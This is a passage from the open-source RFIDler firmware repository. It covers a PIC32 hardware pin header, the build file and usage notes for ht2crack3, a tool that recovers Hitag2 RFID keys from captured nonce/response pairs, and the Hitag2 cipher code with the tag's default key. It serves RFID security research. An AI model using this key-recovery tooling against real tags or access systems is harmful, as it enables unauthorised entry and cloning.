* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#ifndef HARDWARE_PROFILE_UBW32_H
#define HARDWARE_PROFILE_UBW32_H
//#include "plib.h"
typedef char BOOL;
typedef char BYTE;
typedef int rtccTime;
typedef int rtccDate;
#ifndef __PIC32MX__
#define __PIC32MX__
#endif
#define GetSystemClock() (80000000ul)
#define GetPeripheralClock() (GetSystemClock())
#define GetInstructionClock() (GetSystemClock())
//#define USE_SELF_POWER_SENSE_IO
#define tris_self_power TRISAbits.TRISA2 // Input
#define self_power 1
//#define USE_USB_BUS_SENSE_IO
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
#define USB_BUS_SENSE 1
// LEDs
#define mLED_1 LATEbits.LATE3
#define mLED_2 LATEbits.LATE2
#define mLED_Comms mLED_2
#define mLED_3 LATEbits.LATE1
#define mLED_Clock mLED_3
#define mLED_4 LATEbits.LATE0
#define mLED_Emulate mLED_4
#define mLED_5 LATGbits.LATG6
#define mLED_Read mLED_5
#define mLED_6 LATAbits.LATA15
#define mLED_User mLED_6
#define mLED_7 LATDbits.LATD11
#define mLED_Error mLED_7
// active low
#define mLED_ON 0
#define mLED_OFF 1
#define mGetLED_1() mLED_1
#define mGetLED_USB() mLED_1
#define mGetLED_2() mLED_2
#define mGetLED_Comms() mLED_2
#define mGetLED_3() mLED_3
#define mGetLED_Clock() mLED_3
#define mGetLED_4() mLED_4
#define mGetLED_Emulate() mLED_4
#define mGetLED_5() mLED_5
#define mGetLED_Read() mLED_5
#define mGetLED_6() mLED_6
#define mGetLED_User() mLED_6
#define mGetLED_7() mLED_7
#define mGetLED_Error() mLED_7
#define mLED_1_On() mLED_1 = mLED_ON
#define mLED_USB_On() mLED_1_On()
#define mLED_2_On() mLED_2 = mLED_ON
#define mLED_Comms_On() mLED_2_On()
#define mLED_3_On() mLED_3 = mLED_ON
#define mLED_Clock_On() mLED_3_On()
#define mLED_4_On() mLED_4 = mLED_ON
#define mLED_Emulate_On() mLED_4_On()
#define mLED_5_On() mLED_5 = mLED_ON
#define mLED_Read_On() mLED_5_On()
#define mLED_6_On() mLED_6 = mLED_ON
#define mLED_User_On() mLED_6_On()
#define mLED_7_On() mLED_7 = mLED_ON
#define mLED_Error_On() mLED_7_On()
#define mLED_1_Off() mLED_1 = mLED_OFF
#define mLED_USB_Off() mLED_1_Off()
#define mLED_2_Off() mLED_2 = mLED_OFF
#define mLED_Comms_Off() mLED_2_Off()
#define mLED_3_Off() mLED_3 = mLED_OFF
#define mLED_Clock_Off() mLED_3_Off()
#define mLED_4_Off() mLED_4 = mLED_OFF
#define mLED_Emulate_Off() mLED_4_Off()
#define mLED_5_Off() mLED_5 = mLED_OFF
#define mLED_Read_Off() mLED_5_Off()
#define mLED_6_Off() mLED_6 = mLED_OFF
#define mLED_User_Off() mLED_6_Off()
#define mLED_7_Off() mLED_7 = mLED_OFF
#define mLED_Error_Off() mLED_7_Off()
#define mLED_1_Toggle() mLED_1 = !mLED_1
#define mLED_USB_Toggle() mLED_1_Toggle()
#define mLED_2_Toggle() mLED_2 = !mLED_2
#define mLED_Comms_Toggle() mLED_2_Toggle()
#define mLED_3_Toggle() mLED_3 = !mLED_3
#define mLED_Clock_Toggle() mLED_3_Toggle()
#define mLED_4_Toggle() mLED_4 = !mLED_4
#define mLED_Emulate_Toggle() mLED_4_Toggle()
#define mLED_5_Toggle() mLED_5 = !mLED_5
#define mLED_Read_Toggle( ) mLED_5_Toggle()
#define mLED_6_Toggle() mLED_6 = !mLED_6
#define mLED_User_Toggle() mLED_6_Toggle()
#define mLED_7_Toggle() mLED_7 = !mLED_7
#define mLED_Error_Toggle() mLED_7_Toggle()
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
// usb status lights
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
/** SWITCH *********************************************************/
#define swBootloader PORTEbits.RE7
#define swUser PORTEbits.RE6
/** I/O pin definitions ********************************************/
#define INPUT_PIN 1
#define OUTPUT_PIN 0
#define TRUE 1
#define FALSE 0
#define ENABLE 1
#define DISABE 0
#define EVEN 0
#define ODD 1
#define LOW FALSE
#define HIGH TRUE
#define CLOCK_ON LOW
#define CLOCK_OFF HIGH
// output coil control - select between reader/emulator circuits
#define COIL_MODE LATBbits.LATB4
#define COIL_MODE_READER() COIL_MODE= LOW
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
// coil for emulation
#define COIL_OUT LATGbits.LATG9
#define COIL_OUT_HIGH() COIL_OUT=HIGH
#define COIL_OUT_LOW() COIL_OUT=LOW
// door relay (active low)
#define DOOR_RELAY LATAbits.LATA14
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
// inductance/capacitance freq
#define IC_FREQUENCY PORTAbits.RA2
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
#define CLOCK_COIL PORTDbits.RD4
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
// digital output after analogue reader circuit
#define READER_DATA PORTDbits.RD8
// trace / debug
#define DEBUG_PIN_1 LATCbits.LATC1
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
#define DEBUG_PIN_2 LATCbits.LATC2
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
#define DEBUG_PIN_3 LATCbits.LATC3
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
#define DEBUG_PIN_4 LATEbits.LATE5
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
// spi (sdi1) for sd card (not directly referenced)
//#define SD_CARD_RX LATCbits.LATC4
//#define SD_CARD_TX LATDbits.LATD0
//#define SD_CARD_CLK LATDbits.LATD10
//#define SD_CARD_SS LATDbits.LATD9
// spi for SD card
#define SD_CARD_DET LATFbits.LATF0
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
// (held LOW by default - cut solder bridge to GND to free pin if required)
#define SPI_SD SPI_CHANNEL1
#define SPI_SD_BUFF SPI1BUF
#define SPI_SD_STAT SPI1STATbits
// see section below for more defines!
// iso 7816 smartcard
// microchip SC module defines pins so we don't need to, but
// they are listed here to help avoid conflicts
#define ISO_7816_RX LATBbits.LATF2 // RX
#define ISO_7816_TX LATBbits.LATF8 // TX
#define ISO_7816_VCC LATBbits.LATB9 // Power
#define ISO_7816_CLK LATCbits.LATD1 // Clock
#define ISO_7816_RST LATEbits.LATE8 // Reset
// user LED
#define USER_LED LATDbits.LATD7
#define USER_LED_ON() LATDbits.LATD7=1
#define USER_LED_OFF() LATDbits.LATD7=0
// LCR
#define LCR_CALIBRATE LATBbits.LATB5
// wiegand / clock & data
#define WIEGAND_IN_0 PORTDbits.RD5
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
#define WIEGAND_IN_1 PORTDbits.RD6
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
#define CAND_IN_DATA WIEGAND_IN_0
#define CAND_IN_CLOCK WIEGAND_IN_1
#define WIEGAND_OUT_0 LATDbits.LATD3
#define WIEGAND_OUT_1 LATDbits.LATD2
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
#define CAND_OUT_DATA WIEGAND_OUT_0
#define CAND_OUT_CLOCK WIEGAND_OUT_1
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
#define READER_CLOCK_ENABLE LATEbits.LATE9
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
// these input pins must NEVER bet set to output or they will cause short circuits!
// they can be used to see data from reader before it goes into or gate
#define OR_IN_A PORTAbits.RA4
#define OR_IN_B PORTAbits.RA5
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
#define Init_GPIO() { \
CNCONbits.ON= TRUE; \
CNENbits.CNEN14= TRUE; \
CNENbits.CNEN15= TRUE; \
TRISAbits.TRISA2= INPUT_PIN; \
TRISAbits.TRISA4= INPUT_PIN; \
TRISAbits.TRISA5= INPUT_PIN; \
TRISAbits.TRISA14= OUTPUT_PIN; \
TRISAbits.TRISA15= OUTPUT_PIN; \
TRISBbits.TRISB4= OUTPUT_PIN; \
TRISBbits.TRISB5= OUTPUT_PIN; \
TRISBbits.TRISB9= OUTPUT_PIN; \
TRISBbits.TRISB11= INPUT_PIN; \
TRISBbits.TRISB12= INPUT_PIN; \
TRISBbits.TRISB13= INPUT_PIN; \
TRISCbits.TRISC1= OUTPUT_PIN; \
TRISCbits.TRISC2= OUTPUT_PIN; \
TRISCbits.TRISC3= OUTPUT_PIN; \
TRISCbits.TRISC4= INPUT_PIN; \
TRISDbits.TRISD0= INPUT_PIN; \
TRISDbits.TRISD1= OUTPUT_PIN; \
TRISDbits.TRISD2= OUTPUT_PIN; \
TRISDbits.TRISD3= OUTPUT_PIN; \
TRISDbits.TRISD4= OUTPUT_PIN; \
TRISDbits.TRISD5= INPUT_PIN; \
TRISDbits.TRISD6= INPUT_PIN; \
TRISDbits.TRISD7= OUTPUT_PIN; \
TRISDbits.TRISD8= INPUT_PIN; \
TRISDbits.TRISD11= OUTPUT_PIN; \
TRISDbits.TRISD12= INPUT_PIN; \
TRISEbits.TRISE0= OUTPUT_PIN; \
TRISEbits.TRISE1= OUTPUT_PIN; \
TRISEbits.TRISE2= OUTPUT_PIN; \
TRISEbits.TRISE3= OUTPUT_PIN; \
TRISEbits.TRISE5= OUTPUT_PIN; \
TRISEbits.TRISE6= INPUT_PIN; \
TRISEbits.TRISE7= INPUT_PIN; \
TRISEbits.TRISE8= OUTPUT_PIN; \
TRISEbits.TRISE9= OUTPUT_PIN; \
TRISFbits.TRISF0= INPUT_PIN; \
TRISFbits.TRISF1= INPUT_PIN; \
TRISFbits.TRISF2= INPUT_PIN; \
TRISFbits.TRISF8= OUTPUT_PIN; \
TRISGbits.TRISG6= OUTPUT_PIN; \
TRISGbits.TRISG12= INPUT_PIN; \
TRISGbits.TRISG13= INPUT_PIN; \
TRISGbits.TRISG9= OUTPUT_PIN; \
LATBbits.LATB9= LOW; \
LATCbits.LATC1= LOW; \
LATCbits.LATC2= LOW; \
LATCbits.LATC3= LOW; \
LATDbits.LATD2= WIEGAND_IN_1; \
LATDbits.LATD3= WIEGAND_IN_0; \
LATEbits.LATE5= LOW; \
LATEbits.LATE9= HIGH; \
}
// uart3 (CLI/API) speed
#define BAUDRATE3 115200UL
#define BRG_DIV3 4
#define BRGH3 1
// spi for potentiometer
#define SPI_POT SPI_CHANNEL4
#define SPI_POT_BUFF SPI4BUF
#define SPI_POT_STAT SPI4STATbits
// spi for sd card - defines required for Microchip SD-SPI libs
// define interface type
#define USE_SD_INTERFACE_WITH_SPI
#define MDD_USE_SPI_1
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
#define SPI_START_CFG_2 (SPI_ENABLE)
// Define the SPI frequency
#define SPI_FREQUENCY (20000000)
// Description: SD-SPI Card Detect Input bit
#define SD_CD PORTFbits.RF0
// Description: SD-SPI Card Detect TRIS bit
#define SD_CD_TRIS TRISFbits.TRISF0
// Description: SD-SPI Write Protect Check Input bit
#define SD_WE PORTFbits.RF1
// Description: SD-SPI Write Protect Check TRIS bit
#define SD_WE_TRIS TRISFbits.TRISF1
// Description: The main SPI control register
#define SPICON1 SPI1CON
// Description: The SPI status register
#define SPISTAT SPI1STAT
// Description: The SPI Buffer
#define SPIBUF SPI1BUF
// Description: The receive buffer full bit in the SPI status register
#define SPISTAT_RBF SPI1STATbits.SPIRBF
// Description: The bitwise define for the SPI control register (i.e. _____bits)
#define SPICON1bits SPI1CONbits
// Description: The bitwise define for the SPI status register (i.e. _____bits)
#define SPISTATbits SPI1STATbits
// Description: The enable bit for the SPI module
#define SPIENABLE SPICON1bits.ON
// Description: The definition for the SPI baud rate generator register (PIC32)
#define SPIBRG SPI1BRG
// Description: The TRIS bit for the SCK pin
#define SPICLOCK TRISDbits.TRISD10
// Description: The TRIS bit for the SDI pin
#define SPIIN TRISCbits.TRISC4
// Description: The TRIS bit for the SDO pin
#define SPIOUT TRISDbits.TRISD0
#define SD_CS LATDbits.LATD9
// Description: SD-SPI Chip Select TRIS bit
#define SD_CS_TRIS TRISDbits.TRISD9
//SPI library functions
#define putcSPI putcSPI1
#define getcSPI getcSPI1
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
// Define setup parameters for OpenADC10 function
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
// Use ADC internal clock | Set sample time
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
// slow sample rate for tuning coils
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
// use AN11
#define ADC_CONFIGPORT ENABLE_AN11_ANA
// Do not assign channels to scan
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
#define ADC_TO_VOLTS 0.003208F
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
// memory is 0x9D005000 to 0x9D07FFFF
#define NVM_MEMORY_END 0x9D07FFFF
#define NVM_PAGE_SIZE 4096
#define NVM_PAGES 2 // config & VTAG
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
// UART timeout in us
#define SERIAL_TIMEOUT 100
#endif
================================================
FILE: hitag2crack/crack3/Makefile
================================================
WARN=-Wall
INCLUDE=-I../include
CFLAGS=-c $(WARN) $(INCLUDE)
LIBS=
all: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o
cc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS)
cc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS)
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
cc $(CFLAGS) hitagcrypto.c
utilpart.o: utilpart.c util.h
cc $(CFLAGS) utilpart.c
clean:
rm -rf *.o ht2crack3 ht2test
fresh: clean all
================================================
FILE: hitag2crack/crack3/README
================================================
ht2crack3
Build
-----
make clean
make
Run
---
You'll need a file consisting of 136 (or more) nR aR pairs. These are the
encrypted nonces and challenge response values. They should be in hex with
one pair per line, e.g.:
0x12345678 0x9abcdef0
./ht2crack3 UID NRARFILE
UID is the UID of the tag that you used to gather the nR aR values.
NRARFILE is the file containing the nR aR values.
Tests
-----
If you happen to know the key and want to check that all your nR aR values
are valid (for high-powered demonstrations only, really) then you can use
the ht2test program to check them. It's otherwise massively pointless and a
complete waste of space.
./ht2test NRARFILE KEY UID
================================================
FILE: hitag2crack/crack3/hitagcrypto.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs , Adam Laurie
// uncomment this to build file as a standalone crypto test program
// #define UNIT_TEST
// also uncomment to include verbose debug prints
// #define TEST_DEBUG
//#include
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
#ifdef UNIT_TEST
#include
#endif
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
// This may need changing for other compilers/platforms.
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DEBUG_PRINTF(...)
#endif
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
At about the same time, late 1980s to early 1990s, Mikron developed the
similarly featured Mifare micropayment card for 13.56MHz RFID.
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
priority date of 23 Aug 1990.)
Mikron was subsequently acquired by Philips Semiconductors in 1995.
Philips Semiconductors divsion subsequently became NXP.
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
length coding
+ Modulation transponder -> read/write device: Strong ASK modulation,
selectable Manchester or Biphase coding
+ Hitag S, Hitag u; anti-collision procedure
+ Fast anti-collision protocol
+ Hitag u; optional Cyclic Redundancy Check (CRC)
+ Reader Talks First mode
+ Hitag 2 & later; Transponder Talks First (TTF) mode
+ Temporary switch from Transponder Talks First into Reader Talks First
(RTF) Mode
+ Data rate read/write device to transponder: 5.2 kbit/s
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
+ 32-bit password feature
+ Hitag 2, S = 32-bit Unique Identifier
+ Hitag u = 48-bit Unique Identifier
+ Selectable password modes for reader / tag mutual authentication
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
Known tag types:
HITAG 1 2048 bits total memory
HITAG 2 256 Bit total memory Read/Write
8 pages of 32 bits, inc UID (32),
secret key (64), password (24), config (8)
HITAG S 32 32 bits Unique Identifier Read Only
HITAG S 256 256 bits total memory Read/Write
HITAG S 2048 2048 bits total memory Read/Write
HITAG u RO64 64 bits total memory Read Only
HITAG u 128 bits total memory Read/Write
HITAG u Advanced 512 bits total memory Read/Write
HITAG u Advanced+ 1760 bits total memory Read/Write
Default 48-bit key for Hitag 2, S encryption:
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52
*/
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
#pragma GCC optimize("O1")
// private, nonlinear function to generate 1 crypto bit
static uint32_t hitag2_crypt(uint64_t x);
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
return (ht2_function5c >> bitindex) & 1;
}
/*
* Parameters:
* Hitag_State* pstate - output, internal state after initialisation
* uint64_t sharedkey - 48 bit key shared between reader & tag
* uint32_t serialnum - 32 bit tag serial number
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
*/
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
{
// init state, from serial number and lowest 16 bits of shared key
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
// mix the initialisation vector and highest 32 bits of the shared key
initvector ^= (uint32_t) (sharedkey >> 16);
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
// these will be XORed in turn with output of the crypto function
state |= (uint64_t) initvector << 48;
initvector >>= 16;
// unrolled loop is faster on PIC32 (MIPS), do 32 times
// shift register, then calc new bit
state >>= 1;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
// highest 16 bits of IV XOR Shared Key
state |= (uint64_t) initvector << 47;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state ^= (uint64_t) hitag2_crypt(state) << 47;
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
pstate->shiftreg = state;
/* naive version for reference, LFSR has 16 taps
